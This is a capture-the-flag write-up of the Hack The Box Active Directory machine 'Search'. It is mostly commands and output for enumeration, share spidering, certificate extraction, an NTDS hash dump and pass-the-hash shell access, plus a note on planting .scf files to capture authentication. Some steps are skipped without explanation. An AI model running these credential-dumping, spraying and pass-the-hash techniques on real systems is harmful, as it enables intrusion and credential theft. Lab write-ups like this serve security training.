Search is a hard difficulty Windows machine that focuses on Active Directory enumeration and exploitation techniques. Foothold is obtained by finding exposed credentials in a web page, enumerating AD users, running a Kerberoast attack to obtain a crackable hash for a service account and spraying the password against a subset of the discovered accounts, obtaining access to a SMB share where a protected XLSX file containing user data is found. Unprotecting the file leads to a second set of credentials, which gives access to another share where PKCS#12 certificates can be downloaded. After importing the certificates into a web browser, Windows PowerShell Web Access can be used to obtain an interactive shell on the system. Due to misconfigured ACLs, the user can retrieve the password of a group managed service account which can change the password of an administrative user, resulting in high-privileged access to the system via wmiexec or psexec.
Enumeration
Scope
IP Address: 10.10.11.129
Nmap Scan
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p- --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
443/tcp open https syn-ack
445/tcp open microsoft-ds syn-ack
636/tcp open ldapssl syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
8172/tcp open unknown syn-ack
9389/tcp open adws syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ sudo nmap -sU $ip --min-rate 10000 --open -v -oN udp-scan -p1-10000
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p53,80,88,135,139,443,445,636,3268,3269,8172,9389 -sCV $ip -Pn -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Search — Just Testing IIS
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-13 08:44:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2024-07-13T08:46:28+00:00; +4s from scanner time.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2024-07-13T08:46:28+00:00; +4s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-13T08:46:28+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-13T08:46:28+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
8172/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2024-07-13T08:46:28+00:00; +4s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=WMSvc-SHA2-RESEARCH
| Not valid before: 2020-04-07T09:05:25
|_Not valid after: 2030-04-05T09:05:25
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb2-time:
| date: 2024-07-13T08:45:49
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
* Open ports: 53,80,88,135,139,443,445,636,3268,3269,8172,9389
* UDP Open ports: 53,88,123,389
* Services: DNS - HTTP - HTTPS - LDAP - KERBEROS - RPC - SMB
* Versions: IIS httpd 10.0
* Important Notes: Domain: search.htb - IIS 10.0 on 8172
SMB Enumeration
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ smbclient -N -L //$ip
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.129 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ crackmapexec smb $ip -u '' -p '' --shares
SMB 10.10.11.129 445 RESEARCH [+] search.htb\:
SMB 10.10.11.129 445 RESEARCH [-] Error enumerating shares: STATUS_ACCESS_DENIED
RPC Enumeration
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ rpcclient -U '%' $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
HTTP Enumeration
I found both http & https have the same webapp. The most interesting thing for the first eye is Our Team section that could be use as usernames'
I created a wordlist of their names and run username-anarchy on them to make different combinations
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ cat users.lst
Keely Lyons
Dax Santiago
Sierra Frye
Kyla Stewart
Kaiara Spencer
Dave Simpson
Ben Thompson
Chris Stewart
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ /opt/username-anarchy/username-anarchy -i users.lst | tee users.list
<snip>
keely.lyons
keelylyo
keellyon
<snip>
daxsantiago
dax.santiago
<snip>
Start to enumerate these users against Kerberos to find if any of them is valid
Tried to get ASREP hash from any of these users but also failed
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ impacket-GetNPUsers search.htb/ -dc-ip $ip -no-pass -request -format hashcat -usersfile final.lst
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] User dax.santiago doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User keely.lyons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sierra.frye doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User research doesn't have UF_DONT_REQUIRE_PREAUTH set
I don't like the following part as it's very like to CTF-Style
Foothold
Auth as hope. Sharp
It says Send Password to Hope Sharp then followed by IsolationIsKey!
Let's do the same thing we did before against that user
The folder sierra.frya contain the flag but I couldn't read it.
When we have Write access on specific share, we could put Shell command file (.scf) on it and if any user explore the share - not necessarily to open the file - it will connect to my smb server
I also tried to put .scf on the share but with no luck :(
Auth with web_svc
Running bloodhound to collect information while attempting get kerberoastable users
I created a wordlist for domain usernames from rpcclient then going to password spray the password of user web_svc since I didn't find anything interesting about that user on bloodhound or in shares.
I looked at bloodhound to see if this user has any high privileges but unlucky, So I will enumerate the shares with that user.
On Starting spider_plus module with crackmapexec, I found that:
helpdesk share is empty
RedirectedFolders$ has an interesting file at edgar.jacobs/Desktop/Phishing_Attempt.xlsx which can contain valid credentials or important data
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ crackmapexec smb $ip -u Edgar.Jacobs -p '@3ONEmillionbaby' -M spider_plus
SMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.129 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
SPIDER_P... 10.10.11.129 445 RESEARCH [*] Started spidering plus with option:
SPIDER_P... 10.10.11.129 445 RESEARCH [*] DIR: ['print$']
SPIDER_P... 10.10.11.129 445 RESEARCH [*] EXT: ['ico', 'lnk']
SPIDER_P... 10.10.11.129 445 RESEARCH [*] SIZE: 51200
SPIDER_P... 10.10.11.129 445 RESEARCH [*] OUTPUT: /tmp/cme_spider_plus
"helpdesk": {}
<snip>
"RedirectedFolders$": {
"edgar.jacobs/Desktop/Phishing_Attempt.xlsx": {
"atime_epoch": "2020-08-10 06:30:05",
"ctime_epoch": "2020-04-09 16:06:41",
"mtime_epoch": "2020-08-10 06:30:05",
"size": "22.59 KB"
},
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ smbclient -U Edgar.Jacobs \\\\$ip\\RedirectedFolders$
Password for [WORKGROUP\Edgar.Jacobs]:
smb: \> cd edgar.jacobs\Desktop\
smb: \edgar.jacobs\Desktop\> get Phishing_Attempt.xlsx
Privilege Escalation
Shell as sierra.frye
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ exiftool Phishing_Attempt.xlsx
<snip>
File Type : XLSX
File Type Extension : xlsx
MIME Type : application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0xcc14a176
Zip Compressed Size : 442
Zip Uncompressed Size : 1996
Zip File Name : [Content_Types].xml
Last Modified By : Edgar Jacobs
<snip>
The file is xlsx file and zip compressed, I will view it in MicroSoft Excel
It has two sheets Passwords 01082020 & Captured
Passwords 01082020
Captured
There was no interesting data in the two sheets so I will unzip the file and explore it
There are two new files I didn't see before under Backups folder search-RESEARCH-CA.p12 & staff.pfx
These two files can be uploaded to your browser and access the webapp on port 443 that lead to PowerShell Web Access Console, but I took different path :) .
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ crackmapexec smb $ip -u TRISTAN.DAVIES -p 'P@ssword123!' --ntds
SMB 10.10.11.129 445 RESEARCH [+] search.htb\TRISTAN.DAVIES:P@ssword123! (Pwn3d!)
SMB 10.10.11.129 445 RESEARCH [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.11.129 445 RESEARCH Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c56xxxxxxxxxxxx:::
SMB 10.10.11.129 445 RESEARCH Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.129 445 RESEARCH krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cd69d23e4383daa5b0f42d29dba9529a:::
SMB 10.10.11.129 445 RESEARCH search.htb\Santino.Benjamin:1194:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c5612afe25c69ced6:::
<snip>
Get the flag with NetExec
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ nxc smb $ip -u administrator -H 5e3c0abbe0b4163c56xxxxxxxxxxxx -x 'type C:\Users\Administrator\Desktop\root.txt'
SMB 10.10.11.129 445 RESEARCH [+] search.htb\administrator:5e3c0abbe0b4xxxxxxxxxx163c56x (Pwn3d!)
SMB 10.10.11.129 445 RESEARCH [+] Executed command via wmiexec
SMB 10.10.11.129 445 RESEARCH b2f761828983df3ff185cdc96604225d
Or access the machine with wmiexec.py
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Search]
└─$ impacket-wmiexec search.htb/administrator@$ip -hashes :5e3c0abbe0b4163c56xxxxxxxxxxx
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
search\administrator
